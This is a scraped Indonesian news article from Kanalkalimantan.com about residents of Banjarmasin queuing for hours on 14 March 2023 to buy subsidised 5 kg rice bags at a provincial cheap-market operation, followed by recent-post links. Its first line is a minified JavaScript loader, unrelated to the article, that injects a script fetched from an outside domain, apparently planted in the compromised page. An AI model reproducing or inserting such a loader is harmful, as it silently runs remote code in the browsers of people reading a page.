(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Antre Berjam-jam Demi Beras 5 Kg Harga 45 Ribu Rupiah di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Ratusan warga Banjarmasin rela antre untuk membeli kebutuhan pokok pada operasi pasar murah halaman eks kantor Gubernur Kalsel, kawasan Siring 0 Kilometer, Selasa (14/3/2023) pagi.

Salah satu bahan pokok yang diserbu warga adalah beras, selain itu ada kebutuhan pokok lain seperti minyak, bawang, dan lain-lain.

Sebuah mobil truk berisi ratusan kemasan beras berlabel SPHP (Stabilitas Pasokan dan Harga Pangan) yang disalurkan Bulog disiapkan sejak pagi hari.

Mereka rela antre berjam-jam untuk mendapatkan beras kemasan 5 kilogram yang dibandrol dengan harga Rp 45 ribu.

 

Baca juga: Siswa Dibagi Dua Shift, Pasca Kebakaran SMPN 3 Banjarbaru Rehab Total Habiskan Rp 8,5 Miliar

Ratusan warga Kota Banjarmasin yang antre untuk membeli beras murah di halaman eks kantor Gubernur, Selasa (14/3/2023). Foto: Rizki

“Saya dari pukul tujuh pagi tadi ngantre, ini pukul sepuluh baru dapat berasnya,” kata Jaini, salah satu warga Pekapuran Raya, Banjarmasin.

Bahkan, sebagian warga lainnya sejak subuh sudah datang sebelum pasar murah di kawasan Siring 0 Kilometer ini dibuka.

Dikatakannya, harga beras pada pasar murah yang digelar Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) ini tergolong murah jika dibandingkan dengan yang dijual di pasar pada umumnya.

Jaini dan keluarganya biasa membeli beras di pasar dengan harga Rp 12-13 ribu per liter dengan kualitas beras yang sama dengan yang dijual di pasar murah.

Sehingga jika dihitung, harga beras yang disalurkan Bulog untuk dijual ke masyarakat dengan merk kemasan SPHP ini hanya sekitar Rp 7,5 ribu per liternya. Jauh dari harga pasar  belasan ribu.

Baca juga: Bupati Banjar Tekankan Kemampuan dan Profesionalisme Kunci Pengelolaan Organisasi

“Kalau bedanya seribu atau dua ribu tidak akan mau ngantre seperti ini,” kata lelaki warga asli Banjarmasin ini.

Memang, dalam beberapa waktu terakhir Pemprov Kalsel sering melaksanakan operasi pasar murah di daerah-daerah, salah satunya di Kota Banjarmasin.

Operasi pasar murah tersebut digelar ditengah naiknya harga pangan yang nyaris terjadi secara merata di Indonesia, khususnya Kalsel. Disamping sebagai usaha pemerintah untuk menekan angka inflasi. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.